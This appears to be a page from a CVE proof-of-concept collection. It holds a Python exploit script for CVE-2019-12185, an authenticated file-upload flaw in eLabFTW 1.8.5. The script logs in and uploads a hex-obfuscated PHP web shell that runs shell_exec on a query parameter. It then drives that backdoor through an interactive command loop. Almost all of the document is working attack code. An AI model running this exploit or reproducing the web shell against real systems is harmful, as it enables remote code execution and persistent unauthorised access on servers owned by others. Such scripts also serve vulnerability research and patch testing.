5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-12185.py PY
# Exploit Title         : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE
# Date                  : 5/18/19 (modified date: 8/16/2025)
# Exploit Author        : liquidsky (JMcPeters), modified by Drew Alleman for Python3!
# Vulnerable Software   : eLabFTW 1.8.5
# Vendor Homepage       : https://www.elabftw.net/
# Version               : 1.8.5
# Software Link         : https://github.com/elabftw/elabftw
# Tested On             : Linux / PHP Version 7.0.33

import argparse
import sys
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urlencode, urlunparse, parse_qsl
from ssl import SSLCertVerificationError

try:
    import urllib3
except Exception:
    urllib3 = None

LOGIN_ENDPOINT = "/login.php"
LOGIN_CONTROLLER_ENDPOINT = "/app/controllers/LoginController.php"
UPLOAD_ENDPOINT = "/app/controllers/EntityController.php"

SSL_ERROR = (
    "[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')."
    "[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')."
    "[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')."
)

data = ""
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37"
data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39"
data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a"
data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69"
data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"
data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22"
data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35"
data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36"
data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65"
data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a"
data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d"
data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a"
data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68"
data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79"
data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e"
data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70"
data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65"
data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20"
data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36"
data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31"
data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a"


class Exploit:
    def __init__(
        self,
        email,
        password,
        url,
        port=None,
        verify=True,
        silence_warnings=False,
        timeout=180,
    ):
        self.email = email
        self.password = password
        self.verify = verify
        self.timeout = timeout

        if not self.verify and silence_warnings and urllib3:
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
            print("[INFO] Disabled warnings about insecure https certifications.")

        # Parse and normalize the URL
        p = urlparse(
            url
            if url and "://" in url
            else (url and f"http://{url}") or "http://localhost"
        )
        scheme = p.scheme or "http"
        host = p.hostname
        port = p.port or port or (443 if scheme == "https" else 80)

        if scheme == "https" and port == 80:
            port = 443
        if scheme == "http" and port == 443:
            port = 80

        self.scheme = scheme
        self.host = host
        self.port = port
        default_port = (scheme == "https" and port == 443) or (
            scheme == "http" and port == 80
        )
        self.base_url = f"{scheme}://{host}{'' if default_port else f':{port}'}"

        self.session = requests.Session(timeout=self.timeout, verify=self.verify)
        self.token = None
        self.session_id = None

        print(f"[INFO] Loaded URL: '{self.base_url}'")

    def grab_token(self) -> bool:
        print("[INFO] Attempting to grab a form token from elabftw...")
        try:
            auth_response = self.session.get(self.base_url + LOGIN_ENDPOINT)
        except (requests.exceptions.SSLError, SSLCertVerificationError):
            print(SSL_ERROR)
            return False
        except requests.exceptions.ConnectionError:
            print("[CRITICAL] Unable to connect to the target URL. Is the host up?")
            return False

        soup = BeautifulSoup(auth_response.text, "lxml")
        node = soup.find("input", {"name": "formkey"})
        if not node or not node.get("value"):
            print("[ERROR] Could not find formkey on login page")
            return False
        self.token = node["value"]
        return True

    def grab_session_id(self) -> bool:
        print(
            "[INFO] Attempting to login with the provided credentials and form token..."
        )
        login_payload = {
            "email": self.email,
            "password": self.password,
            "formkey": self.token,
        }
        login_response = self.session.post(
            self.base_url + LOGIN_CONTROLLER_ENDPOINT, data=login_payload
        )
        if not login_response.ok:
            print(
                f"[ERROR] Failed to login with credentials: '{self.email}:{self.password}'"
            )
            return False
        self.session_id = self.session.cookies.get("PHPSESSID")
        if not self.session_id:
            print("[ERROR] No PHPSESSID cookie set after login")
            return False
        return True

    def send_payload(self) -> bool:
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
            "Accept": "application/json",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Cache-Control": "no-cache",
            "X-Requested-With": "XMLHttpRequest",
            "Content-Length": "588",
            "Content-Type": "multipart/form-data; boundary=---------------------------72167598110874594111630395077",
            "Connection": "close",
            "Cookie": "PHPSESSID=" + self.session_id + ";" + "token=" + self.token,
        }
        payload_response = self.session.post(
            self.base_url + UPLOAD_ENDPOINT, headers=headers, data=data
        )

        if not payload_response.ok:
            print(
                f"[ERROR] Failed to send payload to elabftw (HTTP {payload_response.status_code})"
            )
            return False
        return True


def run_shell(
    shell_url: str, verify: bool, silence_warnings: bool, timeout: int
) -> int:
    """
    Call the uploaded .php5 backdoor with ?e=<cmd> and print the response body.
    Returns process exit code (0 on success, 1 on error).
    """

    if not verify and silence_warnings and urllib3:
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    parts = urlparse(shell_url if "://" in shell_url else f"http://{shell_url}")

    print("[INFO] NOTE: Shell does not have CD persistence.")

    while True:
        try:
            cmd = input("$ ")

            if cmd == "exit":
                break

            query = dict(parse_qsl(parts.query, keep_blank_values=True))
            query["e"] = cmd
            new_parts = parts._replace(query=urlencode(query))
            final_url = urlunparse(new_parts)

            try:
                r = requests.get(final_url, verify=verify, timeout=timeout)
            except (requests.exceptions.SSLError, SSLCertVerificationError):
                print(SSL_ERROR)
                return 1
            except requests.exceptions.RequestException as ex:
                print(f"[ERROR] Failed to contact shell: {ex}")
                return 1

            print(r.text.strip())
        except KeyboardInterrupt:
            return


def parse_args():
    ap = argparse.ArgumentParser(
        description="eLabFTW 1.8.5 arbitrary file upload / RCE (Python3). "
        "Either use --shell to start an non-interactive shell, "
        "or provide login args to upload a new one."
    )

    ap.add_argument(
        "--shell",
        help="Full URL to existing .php5 backdoor in /uploads (e.g., https://host/uploads/..../abc.php5)",
    )

    ap.add_argument("-e", "--email", help="Login email")
    ap.add_argument("-P", "--password", help="Login password")
    ap.add_argument("-u", "--url", help="Base URL (e.g., https://192.168.1.10)")
    ap.add_argument(
        "--port",
        type=int,
        default=None,
        help="Port override (defaults to 443 for https, 80 for http)",
    )

    ap.add_argument(
        "--no-verify", action="store_true", help="Disable TLS certificate verification"
    )
    ap.add_argument(
        "--silence-warnings",
        action="store_true",
        help="Silence urllib3 InsecureRequestWarning (effective only with --no-verify)",
    )
    ap.add_argument(
        "--timeout",
        type=int,
        default=180,
        help="Timeout in seconds for shell connection (default: 180)",
    )
    args = ap.parse_args()

    if args.shell:
        return args

    missing = [
        flag
        for flag, val in [
            ("--email", args.email),
            ("--password", args.password),
            ("--url", args.url),
        ]
        if not val
    ]
    if missing:
        ap.error(f"Missing required arguments for upload mode: {' '.join(missing)}")

    return args


def main():
    args = parse_args()

    # If --shell is provided, skip everything else and just execute the command
    if args.shell:
        exit_code = run_shell(
            shell_url=args.shell,
            verify=not args.no_verify,
            silence_warnings=args.silence_warnings,
            timeout=args.timeout,
        )
        sys.exit(exit_code)

    # Otherwise, proceed with original upload flow
    exploit = Exploit(
        email=args.email,
        password=args.password,
        url=args.url,
        port=args.port,
        verify=not args.no_verify,
        silence_warnings=args.silence_warnings,
        timeout=args.timeout,
    )

    if not exploit.grab_token():
        print("[ERROR] Failed to grab form token from elabftw!")
        sys.exit(1)

    if not exploit.grab_session_id():
        sys.exit(1)

    if exploit.send_payload():
        print(f"[INFO] Successfully sent payload to target!")
        print(f"[INFO] Check for a shell: {exploit.base_url}/uploads/")
        print(
            f"[INFO] Example Upload: {exploit.base_url}/uploads/82/82b757007585fa963c82b09.php5?e=whoami"
        )
        sys.exit(0)
    else:
        sys.exit(1)


if __name__ == "__main__":
    main()